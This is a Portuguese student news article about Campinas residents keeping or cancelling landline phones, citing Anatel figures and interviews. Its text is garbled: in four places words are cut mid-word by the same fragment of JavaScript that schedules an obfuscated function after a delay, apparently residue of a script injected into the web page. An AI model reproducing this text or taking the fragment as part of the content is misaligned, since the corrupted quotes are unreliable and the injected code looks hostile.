Noticiário Geral
9,6% dos campineiros ainda possuem ao menos uma linha de telefone fixo em casa
Escrito por Kátia Appolinário
Segundo a Anatel, de janeiro de 2017 a janeiro deste ano, 1.150.579 linhas de telefone fixo foram desativadas em todo o país, o que corresponde a uma redução de 2,75%. Ao mesmo tempo, o estado de São Paulo teve um aumento de 0,38% no número de linhas de telefone móvel.
Em Campinas, 129 mil linhas telefônicas resistem a era dos smartphones, ou seja, 9,6% da população ainda tem ao menos uma linha do bom e velho telefone de mesa. As máquinas de escrever, assim como os computadores também passaram por esse processo de aniquilação, consequência natural da evolução tecnológica.
Mas estariam os telefones fixos, literalmente, por um fio?
A estudante Louraine de Paula Oliveira, de 26 anos, faz parte desta estatística. Com duas linhas telefônicas em casa, a jovem que mora com a mãe e os dois irmãos não acredita que o celular possa substituir os fixos. “Vejo aí duas tecnologias diferentes, cada qual com a sua importância. Os celulares são multi-uso, tem várias ferramentas de comunicação, como os aplicativos, mas o telefone fixo envolve legitimidade, é a “garantia”, por exemplo, de que você existe”, argumenta, valendo-se de que para a contratação de serviços, muitas empresas exigem que o usuário tenha uma linha fixa residencial.
Além da legitimidade, Louraine opta pelo fixo por seu custo e sua comodidade. “Todo tipo de conversa que eu tenha que ficar mais que 5 minutos eu uso o telefone fixo, sem hesitar. O celular, muitas vezes, corta a ligação e dependendo do que for resolver fica baixo o áudio, impossibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o entendimento e também a questão de bateria e crédito para realizar ligações, que às vezes fica muito mais caro ligar de celular.”, alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que mesmo com toda a praticidade, o celular ainda apresenta limitações.
Assim como Louraine, a jornalista Caroline Herculano, de 27 anos, também mora com a família e preserva o uso do telefone fixo, mas acha que em muitas ocasiões, o celular acaba sendo mais conveniente. “No meu caso, tenho um plano de telefonia móvel em que posso fazer ligações para fixo sem nenhum custo, então compensa, mas minha mãe, por exemplo, tem um plano de outra operadora que não proporciona esse benefício, então ela acaba usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito o telefone fixo”, explica.
Mas quem acha que só os jovens abriram mão do telefone convencional, se engana. O aposentado Júlio Batista, de 57 anos, desativou sua linha residencial há seis anos, e não se arrepende da escolha. “Sempre tivemos telefone em casa, desde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda era necessário ser indicado e fazer inscrição para conseguir comprar o aparelho. Decidimos cortar a linha porque a família toda já usava celular, e não compensava pagar caro por um serviço que mal usávamos”, afirma.
Telefone no bolso
Ao ser questionada sobre os principais motivos pelos quais os usuários requerem ao cancelamento das linhas fixas, a diretoria da Vivo Telefônica preferiu não se manifestar, mas os entrevistados afirmaram que alguns dos motivos são o alto custo da linha, a falta de mobilidade comparada ao telefone móvel ou mesmo por achar que o uso do celular é capaz de suprir todas as funções do telefone fixo.
Editado por Celina Silveira
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini
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